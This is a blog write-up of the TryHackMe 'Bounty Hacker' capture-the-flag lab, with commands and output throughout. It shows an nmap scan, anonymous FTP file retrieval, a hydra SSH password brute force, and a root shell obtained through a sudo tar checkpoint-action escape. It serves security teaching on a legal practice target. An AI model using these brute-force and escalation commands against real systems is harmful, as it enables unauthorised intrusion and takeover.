Published in

5 min read

6 days ago

Greetings, fellow readers and aspiring cyber adventurers,

In the ever-expanding galaxy of cybersecurity challenges, there’s a room on TryHackMe that beckons those who dare to claim the title of the elite — “Bounty Hacker.” This article takes you on a journey through this thrilling room where we’ll explore the challenges, exploits, and triumphs that stand between us and the coveted status of an Elite Bounty Hacker. So, fasten your digital seatbelts as we embark on a cosmic quest to prove our mettle in the cyber realm!

You were boasting on and on about your elite hacker skills in the bar and a few Bounty Hunters decided they’d take you up on claims! Prove your status is more than just a few glasses at the bar. I sense bell peppers & beef in your future!

Started with an Nmap scan. Found 3 open ports

└─$ nmap --min-rate 1000
Starting Nmap 7.94 ( ) at 2023-09-06 20:18 EAT
Nmap scan report for
Host is up (0.28s latency).
Not shown: 967 filtered tcp ports (no-response), 30 closed tcp ports (conn-refused)
21/tcp open ftp
22/tcp open ssh
80/tcp open http

Ran a service scan

└─$ nmap -p21,22,80 -A 
Starting Nmap 7.94 ( ) at 2023-09-06 20:19 EAT
Nmap scan report for
Host is up (0.28s latency).

21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
| ftp-syst:
| FTP server status:
| Connected to ::ffff:
| Logged in as ftp
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 dc:f8:df:a7:a6:00:6d:18:b0:70:2b:a5:aa:a6:14:3e (RSA)
| 256 ec:c0:f2:d9:1e:6f:48:7d:38:9a:e3:bb:08:c4:0c:c9 (ECDSA)
|_ 256 a4:1a:15:a5:d4:b1:cf:8f:16:50:3a:7d:d0:d8:13:c2 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel


FTP (Port 21)

Anonymous login was successful, I had challenges because it was entering extended passive mode. There were 2 files (locks.txt, task.txt). I downloaded them to my local machine

└─$ ftp
Connected to
220 (vsFTPd 3.0.3)
Name ( anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||27489|)

receive aborted. Waiting for remote to finish abort.
ftp> dir
229 Entering Extended Passive Mode (|||25346|)

receive aborted. Waiting for remote to finish abort.
ftp> binary
200 Switching to Binary mode.
ftp> ls -lah
229 Entering Extended Passive Mode (|||13350|)
ftp: Can't connect to `': Connection timed out
200 EPRT command successful. Consider using EPSV.
150 Here comes the directory listing.
drwxr-xr-x 2 ftp ftp 4096 Jun 07 2020 .
drwxr-xr-x 2 ftp ftp 4096 Jun 07 2020 ..
-rw-rw-r-- 1 ftp ftp 418 Jun 07 2020 locks.txt
-rw-rw-r-- 1 ftp ftp 68 Jun 07 2020 task.txt
226 Directory send OK.

ftp> mget locks.txt task.txt
mget locks.txt [anpqy?]? y
200 EPRT command successful. Consider using EPSV.
150 Opening BINARY mode data connection for locks.txt (418 bytes).
100% |***********************************************************************| 418 8.54 KiB/s 00:00 ETA
226 Transfer complete.
418 bytes received in 00:00 (1.22 KiB/s)
mget task.txt [anpqy?]? y
200 EPRT command successful. Consider using EPSV.
150 Opening BINARY mode data connection for task.txt (68 bytes).
100% |***********************************************************************| 68 303.22 KiB/s 00:00 ETA
226 Transfer complete.
68 bytes received in 00:00 (0.23 KiB/s)

On viewing the contents of the files;

locks.txt — seemed like a list of passwords

─$ cat locks.txt 

task.txt — A note from a user

─$ cat task.txt 
1.) Protect Vicious.
2.) Plan for Red Eye pickup on the moon.


SSH (Port 22)

There was a user name lin so I bruteforced for the password using hydra and locks.txt was my password list and found a password

└─$ hydra -l lin -P locks.txt ssh 
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra ( starting at 2023-09-06 20:33:16
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 26 login tries (l:1/p:26), ~2 tries per task
[DATA] attacking ssh://
[22][ssh] host: login: lin password: {REDACTED}
1 of 1 target successfully completed, 1 valid password found
Hydra ( finished at 2023-09-06 20:33:24

I SSHed to the machine with the found credentials and was successful. I then looked for the user.txt and found our first flag

└─$ ssh lin@ 
The authenticity of host ' (' can't be established.
ED25519 key fingerprint is SHA256:Y140oz+ukdhfyG8/c5KvqKdvm+Kl+gLSvokSys7SgPU.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '' (ED25519) to the list of known hosts.
lin@'s password:
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-101-generic x86_64)

* Documentation:
* Management:
* Support:

83 packages can be updated.
0 updates are security updates.

Last login: Sun Jun 7 22:23:41 2020 from
lin@bountyhacker:~/Desktop$ ls
lin@bountyhacker:~/Desktop$ cat user.txt

I need to escalate privileges to be the root user. User lin could only run /bin/tar as sudo

lin@bountyhacker:~/Desktop$ sudo -l
[sudo] password for lin:
Matching Defaults entries for lin on bountyhacker:
env_reset, mail_badpass,

User lin may run the following commands on bountyhacker:
(root) /bin/tar

I used GTFOBins and search for tar

I directly ran this command and got root and the root flag as our second flag

lin@bountyhacker:~/Desktop$ sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
tar: Removing leading `/' from member names
# whoami
# pwd
# cd /root
# ls
# cat root.txt

About the author

Wilklins Nyatteng is a cyber security enthusiast with interest in penetration testing & vulnerability assessments, OSINT, cloud security. Certified Cyber Security professional by Trend Micro, 9x Microsoft Certified, CEH Master and AWS Solutions Architect — Associate.

Follow me on:

Twitter, LinkedIn, Github